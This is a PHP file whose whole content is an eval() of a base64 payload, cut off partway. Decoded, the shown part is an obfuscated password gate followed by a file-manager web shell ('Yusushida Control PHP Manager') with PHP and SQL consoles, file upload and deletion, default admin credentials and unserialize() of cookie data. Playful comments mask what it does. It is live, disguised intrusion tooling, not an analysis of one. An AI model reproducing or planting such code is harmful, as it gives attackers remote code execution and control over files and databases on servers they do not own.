eval('eval(\'\'.base64_decode(\'PD9waHAgJHVVdVVVVVV1VSA9Ilw3NCI7JHVVdVVVVVV1VS49IlwxNDYiOyR1dXV1VXVVdT0iXDExMCI7JHVVdVVVVVV1VS49IlwxNTciOyR1VXVVVVVVdVUuPSJcMTYyIjskdVV1VVVVVXVVLj0iXDE1NSI7JHVVdVVVVVV1VS49IiAiOyR1dXV1VXVVdS49IlwxMjQiOyR1dXV1VXVVdS49IlwxMjQiOyR1VXVVVVVVdVUuPSJcMTU2IjskVXU9IlwxNTQiOyRVdS49IlwxNDciOyR1dXV1VXVVdS49IlwxMjAiOyR1VXVVVVVVdVUuPSJcMTQxIjskdXV1dVV1VXUuPSJcMTM3IjskdXV1dVV1VXUuPSJcMTEwIjskdVV1VVVVVXVVLj0iXDE1NSI7JHVVdVVVVVV1VS49IlwxNDUiOyR1VXVVVVVVdVUuPSJcNzUiOyR1dXV1VXVVdS49IlwxMTciOyR1VXVVVVVVdVUuPSInIjskdVV1VVVVVXVVLj0iXDE0NiI7JFV1Lj0iXDEzNyI7JHVVdVVVVVV1VS49IlwxNTciOyR1dXV1VXVVdS49IlwxMjMiOyRVdS49IlwxNTUiOyRVdS49IlwxNTEiOyRVdS49IlwxNTUiOyRVdS49IlwxNDEiOyR1dXV1VXVVdS49IlwxMjQiOyR1VXVVVVVVdVUuPSJcMTYyIjskdVV1VVVVVXVVLj0iXDE1NSI7JHVVdVVVVVV1VS49IjEiOyR1VXVVVVVVdVUuPSInIjskdVV1VVVVVXVVLj0iICI7JHVVdVVVVVV1VS49IlwxNDEiOyR1VXVVVVVVdVUuPSJcMTQzIjskdVV1VVVVVXVVLj0iXDE2NCI7JHVVdVVVVVV1VS49IlwxNTEiOyR1VXVVVVVVdVUuPSJcMTU3IjskdVV1VVVVVXVVLj0iXDE1NiI7JHVVdVVVVVV1VS49Ilw3NSI7JHVVdVVVVVV1VS49IiciOyR1VXVVVVVVdVUuPSInIjskdVV1VVVVVXVVLj0iICI7JHVVdVVVVVV1VS49IlwxNTUiOyR1VXVVVVVVdVUuPSJcMTQ1IjskdVV1VVVVVXVVLj0iXDE2NCI7JHVVdVVVVVV1VS49IlwxNTAiOyR1VXVVVVVVdVUuPSJcMTU3IjskdVV1VVVVVXVVLj0iXDE0NCI7JHVVdVVVVVV1VS49Ilw3NSI7JHVVdVVVVVV1VS49IiciOyR1VXVVVVVVdVUuPSJcMTYwIjskdVV1VVVVVXVVLj0iXDE1NyI7JHVVdVVVVVV1VS49IlwxNjMiOyR1VXVVVVVVdVUuPSJcMTY0IjskdVV1VVVVVXVVLj0iJyI7JHVVdVVVVVV1VS49Ilw3NiI7JHVVdVVVVVV1VS49Ilw3NCI7JHVVdVVVVVV1VS49IlwxNTEiOyR1VXVVVVVVdVUuPSJcMTU2IjskdVV1VVVVVXVVLj0iXDE2MCI7JHVVdVVVVVV1VS49IlwxNjUiOyR1VXVVVVVVdVUuPSJcMTY0IjskdVV1VVVVVXVVLj0iICI7JHVVdVVVVVV1VS49IlwxNTYiOyR1VXVVVVVVdVUuPSJcMTQxIjskdVV1VVVVVXVVLj0iXDE1NSI7JHVVdVVVVVV1VS49IlwxNDUiOyR1VXVVVVVVdVUuPSJcNzUiOyR1VXVVVVVVdVUuPSInIjskdVV1VVVVVXVVLj0iXDE1NCI7JHVVdVVVVVV1VS49IlwxNDciOyR1VXVVVVVVdVUuPSJcMTM3IjskdVV1VVVVVXVVLj0iXDE1NSI7JHVVdVVVVVV1VS49IlwxNTEiOyR1VXVVVVVVdVUuPSJcMTU1IjskdVV1VVVVVXVVLj0iXDE0MSI7JHVVdVVVVVV1VS49IiciOyR1VXVVVVVVdVUuPSIgIjskdVV1VVVVVXVVLj0iXDE2NCI7JHVVdVVVVVV1VS49IlwxNzEiOyR1VXVVVVVVdVUuPSJcMTYwIjskdVV1VVVVVXVVLj0iXDE0NSI7JHVVdVVVVVV1VS49Ilw3NSI7JHVVdVVVVVV1VS49IiciOyR1VXVVVVVVdVUuPSJcMTY0IjskdVV1VVVVVXVVLj0iXDE0NSI7JHVVdVVVVVV1VS49IlwxNzAiOyR1VXVVVVVVdVUuPSJcMTY0IjskdVV1VVVVVXVVLj0iJyI7JHVVdVVVVVV1VS49Ilw3NiI7JHVVdVVVVVV1VS49Ilw3NCI7JHVVdVVVVVV1VS49IlwxNTEiOyR1VXVVVVVVdVUuPSJcMTU2IjskdVV1VVVVVXVVLj0iXDE2MCI7JHVVdVVVVVV1VS49IlwxNjUiOyR1VXVVVVVVdVUuPSJcMTY0IjskdVV1VVVVVXVVLj0iICI7JHVVdVVVVVV1VS49IlwxNTYiO3Nlc3Npb25fc3RhcnQoKTskdVV1VVVVVXVVLj0iXDE0MSI7JHVVdVVVVVV1VS49IlwxNTUiOyR1VXVVVVVVdVUuPSJcMTQ1IjskdVV1VVVVVXVVLj0iXDc1IjskdVV1VVVVVXVVLj0iJyI7JHVVdVVVVVV1VS49IlwxNjMiOyR1VXVVVVVVdVUuPSJcMTY1IjskdVV1VVVVVXVVLj0iXDE0MiI7JHVVdVVVVVV1VS49IlwxNTUiOyR1VXVVVVVVdVUuPSJcMTUxIjskdVV1VVVVVXVVLj0iXDE2NCI7JHVVdVVVVVV1VS49IiciOyR1VXVVVVVVdVUuPSIgIjskdVV1VVVVVXVVLj0iXDE2NCI7JHVVdVVVVVV1VS49IlwxNzEiOyR1VXVVVVVVdVUuPSJcMTYwIjskdVV1VVVVVXVVLj0iXDE0NSI7JHVVdVVVVVV1VS49Ilw3NSI7JHVVdVVVVVV1VS49IiciOyR1VXVVVVVVdVUuPSJcMTYzIjskdVV1VVVVVXVVLj0iXDE2NSI7JHVVdVVVVVV1VS49IlwxNDIiOyR1VXVVVVVVdVUuPSJcMTU1IjskdVV1VVVVVXVVLj0iXDE1MSI7JHVVdVVVVVV1VS49IlwxNjQiOyR1VXVVVVVVdVUuPSInIjskdVV1VVVVVXVVLj0iICI7JHVVdVVVVVV1VS49IlwxNjYiOyR1VXVVVVVVdVUuPSJcMTQxIjskdVV1VVVVVXVVLj0iXDE1NCI7JHVVdVVVVVV1VS49IlwxNjUiOyR1VXVVVVVVdVUuPSJcMTQ1IjskdVV1VVVVVXVVLj0iXDc1IjskdVV1VVVVVXVVLj0iJyI7JHVVdVVVVVV1VS49IlwxNjMiOyR1VXVVVVVVdVUuPSJcMTY1IjskdVV1VVVVVXVVLj0iXDE0MiI7JHVVdVVVVVV1VS49IlwxNTUiOyR1VXVVVVVVdVUuPSJcMTUxIjskdVV1VVVVVXVVLj0iXDE2NCI7JHVVdVVVVVV1VS49IiciOyR1VXVVVVVVdVUuPSJcNzYiOyR1VXVVVVVVdVUuPSJcNzQiOyR1VXVVVVVVdVUuPSJcNTciOyR1VXVVVVVVdVUuPSJcMTQ2IjskdVV1VVVVVXVVLj0iXDE1NyI7JHVVdVVVVVV1VS49IlwxNjIiOyR1VXVVVVVVdVUuPSJcMTU1IjskdVV1VVVVVXVVLj0iXDc2IjskVXV1VXV1dXU9JF9TRVJWRVJbJHV1dXVVdVV1XTskVXV1VXV1dXUuPSRVdTskVXV1VXV1dXU9bWQ1KCRVdXVVdXV1dSk7JFV1dVV1dXV1PXN1YnN0cigkVXV1VXV1dXUsMCw2KTtpZihpc3NldCgkX1BPU1RbJFV1XSkpeyRfU0VTU0lPTlskVXVdPXRyaW0oJF9QT1NUWyRVdV0pO31pZihlbXB0eSgkX1NFU1NJT05bJFV1XSl8fCRfU0VTU0lPTlskVXVdIT0kVXV1VXV1dXUpe2VjaG8gJHVVdVVVVVV1VTsgZXhpdDt9Pz48P3BocA0KDQoNCg0KDQoNCg0KDQogICAgICAgICAvKiBZdXN1c2hpZGEgQ29udHJvbCBQSFAgTWFuYWdlciAxNC4yICovDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gU3ViYXJhc2hpaSwgaGVscGluZyB5b3Ugc2VlIGhvdyBtdWNoIHNwYWNlIHlvdXIgZm9sZGVyIGlzIHRha2luZyB1cO+/ve+/vWRvbu+/ve+/vXQgbGV0IGl0IGdldCB0b28gYmlnLCBuZSENCg0KDQoNCg0KDQoNCg0KICAgJGF1dGhvcml6YXRpb25CaXJvYXMgPSAneyJhdXRob3JpemUiOiIwIiwibG9naW4iOiJhZG1pbiIsInBhc3N3b3JkIjoicGhwZm0iLA0KImNvb2tpZV9uYW1lIjoiZm1fdXNlciIsImRheXNfYXV0aG9yaXphdGlvbiI6IjMwIiwic2NyaXB0IjoiPHNjcmlwdCB0eXBlPVwidGV4dFwvamF2YXNjcmlwdFwiIHNyYz1cImh0dHBzOlwvXC93d3cuY2RvbGl2ZXQuY29tXC9lZGl0YXJlYVwvZWRpdGFyZWFcL2VkaXRfYXJlYVwvZWRpdF9hcmVhX2Z1bGwuanNcIj48XC9zY3JpcHQ+XHJcbjxzY3JpcHQgbGFuZ3VhZ2U9XCJKYXZhc2NyaXB0XCIgdHlwZT1cInRleHRcL2phdmFzY3JpcHRcIj5cclxuZWRpdEFyZWFMb2FkZXIuaW5pdCh7XHJcbmlkOiBcIm5ld2NvbnRlbnRcIlxyXG4sZGlzcGxheTogXCJsYXRlclwiXHJcbixzdGFydF9oaWdobGlnaHQ6IHRydWVcclxuLGFsbG93X3Jlc2l6ZTogXCJib3RoXCJcclxuLGFsbG93X3RvZ2dsZTogdHJ1ZVxyXG4sd29yZF93cmFwOiB0cnVlXHJcbixsYW5ndWFnZTogXCJydVwiXHJcbixzeW50YXg6IFwicGhwXCJcdFxyXG4sdG9vbGJhcjogXCJzZWFyY2gsIGdvX3RvX2xpbmUsIHwsIHVuZG8sIHJlZG8sIHwsIHNlbGVjdF9mb250LCB8LCBzeW50YXhfc2VsZWN0aW9uLCB8LCBjaGFuZ2Vfc21vb3RoX3NlbGVjdGlvbiwgaGlnaGxpZ2h0LCByZXNldF9oaWdobGlnaHQsIHwsIGhlbHBcIlxyXG4sc3ludGF4X3NlbGVjdGlvbl9hbGxvdzogXCJjc3MsaHRtbCxqcyxwaHAscHl0aG9uLHhtbCxjLGNwcCxzcWwsYmFzaWMscGFzXCJcclxufSk7XHJcbjxcL3NjcmlwdD4ifSc7DQoNCg0KDQoNCiRwaHBfdGVtcGxhdGVzID0gJ3siU2V0dGluZ3MiOiJnbG9iYWwgJGZtX2NvbmZpZztcclxudmFyX2V4cG9ydCgkZm1fY29uZmlnKTsiLCJCYWNrdXAgU1FMIHRhYmxlcyI6ImVjaG8gZm1fYmFja3VwX3RhYmxlcygpOyJ9JzsNCg0KJHNxbF90ZW1wbGF0ZXMgPSAneyJBbGwgYmFzZXMiOiJTSE9XIERBVEFCQVNFUzsiLCJBbGwgdGFibGVzIjoiU0hPVyBUQUJMRVM7In0nOw0KDQokdHJhbnNsYXRpb24gPSAneyJpZCI6InJ1IiwiQWRkIjoi77+977+977+977+90qfRp9On2qfvv73vv70iLCJBcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gZGVsZXRlIHRoaXMgZGlyZWN0b3J5IChyZWN1cnNpdmVseSk/Ijoi77+977+977+977+9IO+/ve+/vdOn1qfvv73Wp9+n77+9LCDvv73vv73vv73vv70g77+977+977+977+92qfvv73vv70g77+977+91afRp92n2qfvv73vv70g77+977+977+977+9IO+/ve+/vdGn77+93Kfvv70gKO+/ve+/vdan3Kfvv73vv73vv73ap9On36fvv70pPyIsIkFyZSB5b3Ugc3VyZSB5b3Ugd2FudCB0byBkZWxldGUgdGhpcyBmaWxlPyI6Iu+/ve+/ve+/ve+/vSDvv73vv73Tp9an77+91qffp++/vSwg77+977+977+977+9IO+/ve+/ve+/ve+/vdqn77+977+9IO+/ve+/vdWn0afdp9qn77+977+9IO+/ve+/ve+/ve+/ve+/vSDvv73vv73Rp9un77+9PyIsIkFyY2hpdmluZyI6Iu+/ve+/ve+/ve+/ve+/vdqn06fap++/ve+/vdOn0afvv73vv70iLCJBdXRob3JpemF0aW9uIjoi77+977+977+906fvv73vv73vv73ap9mn0afvv73ap++/vSIsIkJhY2siOiLvv73vv73vv73Rp9mn0afvv70iLCJDYW5jZWwiOiLvv73vv73vv73vv73ep9an36fvv70iLCJDaGluZXNlIjoi77+977+977+92qfvv73Rp9un77+93Kfap++/vSIsIkNvbXByZXNzIjoi77+977+977+92KfRp++/ve+/vSIsIkNvbnNvbGUiOiLvv73vv73vv73vv73fp++/ve+/vd2n77+9IiwiQ29va2llIjoi77+977+977+977+93Kfvv70iLCJDcmVhdGVkIjoi77+977+977+977+92afVp9Gn77+9IiwiRGF0ZSI6Iu+/ve+/ve+/vdGn77+977+9IiwiRGF5cyI6Iu+/ve+/ve+/vd+n1qfvv70iLCJEZWNvbXByZXNzIjoi77+977+977+90afvv73vv73Rp9yn77+906fRp++/ve+/vSIsIkRlbGV0ZSI6Iu+/ve+/ve+/vdWn0afdp9qn77+977+9IiwiRGVsZXRlZCI6Iu+/ve+/ve+/vdWn0afdp9an36fvv70iLCJEb3dubG9hZCI6Iu+/ve+/ve+/vdyn0afvv73Rp++/ve+/vSIsImRvbmUiOiLvv73Zp9Gn3Kfvv73fp++/vdan36fvv70iLCJFZGl0Ijoi77+977+977+91qfVp9Gn3Kfvv73ap++/ve+/vdOn0afvv73vv70iLCJFbnRlciI6Iu+/ve+/ve+/ve+/ve+/ve+/vSIsIkVuZ2xpc2giOiLvv73vv73vv73fp9Sn3afap9un77+93Kfap++/vSIsIkVycm9yIG9jY3VycmVkIjoi77+977+977+977+977+92qfZp++/ve+/vd2n77+9IO+/ve+/ve+/vdqn0qfcp++/vSIsIkZpbGUgbWFuYWdlciI6Iu+/ve+/ve+/vdGn26fdp++/vdOn77+977+9IO+/vd6n1qffp9an1afYp9an77+9IiwiRmlsZSBzZWxlY3RlZCI6Iu+/ve+/ve+/ve+/vdKn77+90afvv70g77+977+90afbp++/vSIsIkZpbGUgdXBkYXRlZCI6Iu+/ve+/ve+/vdGn26fvv70g77+977+977+977+977+90affp9an77+9IiwiRmlsZW5hbWUiOiLvv73vv73vv73ep++/vSDvv73vv73Rp9un3afvv70iLCJGaWxlcyB1cGxvYWRlZCI6Iu+/ve+/ve+/vdGn26fvv70g77+92afRp9Sn77+977+92KfWp++/vSIsIkZyZW5jaCI6Iu+/ve+/ve+/ve+/vdGn36fvv73vv73Zp++/vdyn2qfvv70iLCJHZW5lcmF0aW9uIHRpbWUiOiLvv73vv73vv73Wp9+n1qfvv73Rp++/vdqn77+9IO+/ve+/ve+/ve+/vdGn36fap++/ve+/vSIsIkdlcm1hbiI6Iu+/ve+/ve+/vdan3qfWp++/vdyn2qfvv70iLCJIb21lIjoi77+977+977+977+93qfvv73vv70iLCJRdWl0Ijoi77+977+977+977+977+977+977+9IiwiTGFuZ3VhZ2UiOiLvv73vv73vv73Zp++/ve+/vSIsIkxvZ2luIjoi77+977+977+977+91Kfap++/vSIsIk1hbmFnZSI6Iu+/ve+/ve+/ve+/ve+/vdGn06fdp9an36fap++/vSIsIk1ha2UgZGlyZWN0b3J5Ijoi77+977+977+977+92afVp9Gn77+977+9IO+/ve+/vdGn77+93Kfvv70iLCJOYW1lIjoi77+977+977+90afap96n1qffp++/vdOn0affp9qn77+9IiwiTmV3Ijoi77+977+977+977+906fvv73vv70iLCJOZXcgZmlsZSI6Iu+/ve+/ve+/ve+/vdOn77+977+9IO+/ve+/vdGn26fvv70iLCJubyBmaWxlcyI6Iu+/vd+n1qfvv70g77+977+90afbp92n77+977+9IiwiUGFzc3dvcmQiOiLvv73vv73vv73Rp++/ve+/vd2n77+9IiwicGljdHVyZXMiOiLvv73ap9mn77+90qfvv73Rp9in1qffp9qn77+9IiwiUmVjdXJzaXZlbHkiOiLvv73vv73vv73Wp9yn77+977+977+92qfTp9+n77+9IiwiUmVuYW1lIjoi77+977+977+91qfvv73Wp9qn3qfWp9+n77+906fRp++/ve+/vSIsIlJlc2V0Ijoi77+977+977+90qfvv73vv73vv73ap++/ve+/vSIsIlJlc2V0IHNldHRpbmdzIjoi77+977+977+90qfvv73vv73vv73ap++/ve+/vSDvv73fp9Gn77+977+977+977+926fcp++/vSIsIlJlc3RvcmUgZmlsZSB0aW1lIGFmdGVyIGVkaXRpbmciOiLvv73vv73vv73vv73vv73vv73vv73Rp9+n0afTp92n2qfTp9Gn77+977+9IO+/vdOn77+91qfep++/vSDvv73vv73Rp9un3afvv70g77+977+977+977+93afvv70g77+977+91qfVp9Gn3Kfvv73ap++/ve+/vdOn0affp9qn77+9IiwiUmVzdWx0Ijoi77+977+977+91qfZp++/vd2n77+977+90afvv70iLCJSaWdodHMiOiLvv73vv73vv73vv73Rp9On77+9IiwiUnVzc2lhbiI6Iu+/ve+/ve+/ve+/ve+/ve+/vdyn2qfvv70iLCJTYXZlIjoi77+977+977+977+977+977+90affp9qn77+977+9IiwiU2VsZWN0Ijoi77+977+977+977+90qfWp++/vdqn77+977+9IiwiU2VsZWN0IHRoZSBmaWxlIjoi77+977+977+977+90qfWp++/vdqn77+977+9IO+/ve+/vdGn26fvv70iLCJTZXR0aW5ncyI6Iu+/ve+/ve+/vdGn77+977+977+977+926fcp++/vSIsIlNob3ciOiLvv73vv73vv73vv73cp9Gn2afRp++/ve+/vSIsIlNob3cgc2l6ZSBvZiB0aGUgZm9sZGVyIjoi77+977+977+977+93KfRp9mn77+906fRp++/ve+/vSDvv73vv73Rp9mn3qfWp++/vSDvv73vv73Rp++/vdyn77+9IiwiU2l6ZSI6Iu+/ve+/ve+/vdGn2afep9an77+9IiwiU3BhbmlzaCI6Iu+/ve+/ve+/ve+/ve+/vdGn36fvv73cp9qn77+9IiwiU3VibWl0Ijoi77+977+977+977+977+977+90afTp9qn77+977+9IiwiVGFzayI6Iu+/ve+/ve+/vdGn1afRp++/ve+/vSIsInRlbXBsYXRlcyI6Iu+/ve+/vdGn0qfdp++/vd+n77+9IiwiVWtyYWluaWFuIjoi77+977+977+93Kfvv73Rp9qn36fvv73cp9qn77+9IiwiVXBsb2FkIjoi77+977+977+90afUp++/ve+/vdmn2qfvv73vv70iLCJWYWx1ZSI6Iu+/ve+/ve+/vd+n0afvv73Wp9+n2qfvv70iLCJIZWxsbyI6Iu+/ve+/ve+/ve+/vdqn06fWp++/vSIsIkZvdW5kIGluIGZpbGVzIjoi77+977+977+90afbp9Wn1qffp++/vSDvv73vv70g77+977+90afbp92n0afvv70iLCJTZWFyY2giOiLvv73vv73vv73vv73ap++/ve+/vSIsIlJlY3Vyc2l2ZSBzZWFyY2giOiLvv73vv73vv73Wp9yn77+977+977+92qfTp9+n77+977+9IO+/ve+/ve+/vdqn77+977+9IiwiTWFzayI6Iu+/ve+/ve+/vdGn77+93Kfvv70ifSc7DQoNCi8vIGthd2FpaSwgc28geW91IGRvbu+/ve+/vXQgcnVuIG91dCBvZiBzcGFjZSB3aGlsZSBkb3dubG9hZGluZyBhbGwgeW91ciBhbmltZSBlcGlzb2Rlcw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQovLyBnb21lbmFzYWksIHdpcGluZyBhd2F5IHlvdXIgcGFzdCBjb21tYW5kcyBsaWtlIGl0IHdhcyBhbGwganVzdCBhIGRyZWFtIQ0KDQokc3RhcnR0aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsNCiRzdGFydHRpbWUgPSAkc3RhcnR0aW1lWzFdICsgJHN0YXJ0dGltZVswXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQokbGFuZ3MgPSBhcnJheSgnZW4nLCdydScsJ2RlJywnZnInLCd1aycpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiRwYXRoID0gZW1wdHkoJF9SRVFVRVNUWydwYXRoJ10pID8gJHBhdGggPSByZWFscGF0aCgnLicpIDogcmVhbHBhdGgoJF9SRVFVRVNUWydwYXRoJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRwYXRoKSAuICcvJzsNCg0KJG1haW5fcGF0aD1zdHJfcmVwbGFjZSgnXFwnLCAnLycscmVhbHBhdGgoJy4vJykpOw0KJHBoYXJfbWF5YmUgPSAodmVyc2lvbl9jb21wYXJlKHBocHZlcnNpb24oKSwiNS4zLjAiLCI8IikpP3RydWU6ZmFsc2U7DQokbXNnX2hlYWRlcnMgPSAnJzsgLy8gc28gZGVzdSBrYSwgbWFraW5nIHN1cmUgeW91ciBmaWxlIGlzIHJlYWxseSB0aGVyZSBiZWZvcmUgeW91IHRyeSB0byBvcGVuIGl0DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiRkZWZhdWx0X2xhbmd1YWdlID0gJ3J1JzsNCg0KJGRldGVjdF9sYW5nID0gdHJ1ZTsNCg0KJGZtX3ZlcnNpb24gPSAxLjQ7DQoNCg0KDQovLyBuZSwgc2hvd2luZyB3aG8gY2FuIGFjY2VzcywgbW9kaWZ5LCBvciBleGVjdXRlIHRoZSBmaWxl77+977+9bGlrZSBjaGVja2luZyBpZiBzb21lb25lIGNhbiBlbnRlciB5b3VyIHNlY3JldCBoaWRlb3V0IQkgICAgIA0KDQokYXV0aF9nb3duID0ganNvbl9kZWNvZGUoJGF1dGhvcml6YXRpb25CaXJvYXMsdHJ1ZSk7DQokYXV0aF9nb3duWydhdXRob3JpemUnXSA9IGlzc2V0KCRhdXRoX2dvd25bJ2F1dGhvcml6ZSddKSA/ICRhdXRoX2dvd25bJ2F1dGhvcml6ZSddIDogMDsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KJGF1dGhfZ293blsnZGF5c19hdXRob3JpemF0aW9uJ10gPSAoaXNzZXQoJGF1dGhfZ293blsnZGF5c19hdXRob3JpemF0aW9uJ10pJiZpc19udW1lcmljKCRhdXRoX2dvd25bJ2RheXNfYXV0aG9yaXphdGlvbiddKSkgPyAoaW50KSRhdXRoX2dvd25bJ2RheXNfYXV0aG9yaXphdGlvbiddIDogMzA7DQokYXV0aF9nb3duWydsb2dpbiddID0gaXNzZXQoJGF1dGhfZ293blsnbG9naW4nXSkgPyAkYXV0aF9nb3duWydsb2dpbiddIDogJ2FkbWluJzsgIA0KDQokYXV0aF9nb3duWydwYXNzd29yZCddID0gaXNzZXQoJGF1dGhfZ293blsncGFzc3dvcmQnXSkgPyAkYXV0aF9nb3duWydwYXNzd29yZCddIDogJ3BocGZtJzsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQokYXV0aF9nb3duWydjb29raWVfbmFtZSddID0gaXNzZXQoJGF1dGhfZ293blsnY29va2llX25hbWUnXSkgPyAkYXV0aF9nb3duWydjb29raWVfbmFtZSddIDogJ2ZtX3VzZXInOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQokYXV0aF9nb3duWydzY3JpcHQnXSA9IGlzc2V0KCRhdXRoX2dvd25bJ3NjcmlwdCddKSA/ICRhdXRoX2dvd25bJ3NjcmlwdCddIDogJyc7DQoNCg0KLy8gWWF0dGEsIG1ha2luZyBpdCBzbWFsbGVyIG9yIGxhcmdlciBmb3IgeW91ciBjb252ZW5pZW5jZSwgbGlrZSBlZGl0aW5nIGEgY3V0ZSBwaWN0dXJlIG9mIHlvdXIgZmF2b3JpdGUgY2hhcmFjdGVyIQ0KDQokZm1fZGVmYXVsdF9jb25maWcgPSBhcnJheSAoDQoNCgkgICAgICdtYWtlX2RpcmVjdG9yeScgPT4gdHJ1ZSwgDQoJICAgICAnbmV3X2ZpbGUnID0+IHRydWUsIA0KDQoJICAgICAndXBsb2FkX2ZpbGUnID0+IHRydWUsIA0KCSAgICAgJ3Nob3dfZGlyX3NpemUnID0+IGZhbHNlLCAvLyBhcmlnYXRvdSwgbWFraW5nIHN1cmUgdGhlIGZpbGUgZm9ybWF0IGZpdHMgdGhlIHByb2dyYW0geW91IHdhbnQgdG8gb3BlbiBpdCB3aXRoDQoJICAgICAnc2hvd19pbWcnID0+IHRydWUsIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgICdzaG93X3BocF92ZXInID0+IHRydWUsIA0KDQoJICAgICAnc2hvd19waHBfaW5pJyA9PiBmYWxzZSwgLy8gc2hvdyBwYXRoIHRvIGN1cnJlbnQgcGhwLmluaQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAnc2hvd19ndCcgPT4gdHJ1ZSwgLy8gc2hvdyBnZW5lcmF0aW9uIHRpbWUNCg0KCSAgICAgJ2VuYWJsZV9waHBfY29uc29sZScgPT4gdHJ1ZSwNCg0KCSAgICAgJ2VuYWJsZV9zcWxfY29uc29sZScgPT4gdHJ1ZSwNCgkgICAgICdzcWxfc2VydmVyJyA9PiAnbG9jYWxob3N0JywNCgkgICAgICdzcWxfdXNlcm5hbWUnID0+ICdyb290JywNCg0KCSAgICAgJ3NxbF9wYXNzd29yZCcgPT4gJycsDQoNCgkgICAgICdzcWxfZGInID0+ICd0ZXN0X2Jhc2UnLA0KDQoJICAgICAnZW5hYmxlX3Byb3h5JyA9PiB0cnVlLA0KDQoJICAgICAnc2hvd19waHBpbmZvJyA9PiB0cnVlLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgJ3Nob3dfeGxzJyA9PiB0cnVlLA0KDQoJICAgICAnZm1fc2V0dGluZ3MnID0+IHRydWUsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgJ3Jlc3RvcmVfdGltZScgPT4gdHJ1ZSwNCgkgICAgICdmbV9yZXN0b3JlX3RpbWUnID0+IGZhbHNlLA0KDQopOw0KDQoNCmlmIChlbXB0eSgkX0NPT0tJRVsnZm1fY29uZmlnJ10pKSAkZm1fY29uZmlnID0gJGZtX2RlZmF1bHRfY29uZmlnOw0KDQplbHNlICRmbV9jb25maWcgPSB1bnNlcmlhbGl6ZSgkX0NPT0tJRVsnZm1fY29uZmlnJ10pOw0KDQoNCg0KLy8gQ2hhbmdlIGxhbmd1YWdlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCmlmIChpc3NldCgkX1BPU1RbJ2ZtX2xhbmcnXSkpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIHNldGNvb2tpZSgnZm1fbGFuZycsICRfUE9TVFsnZm1f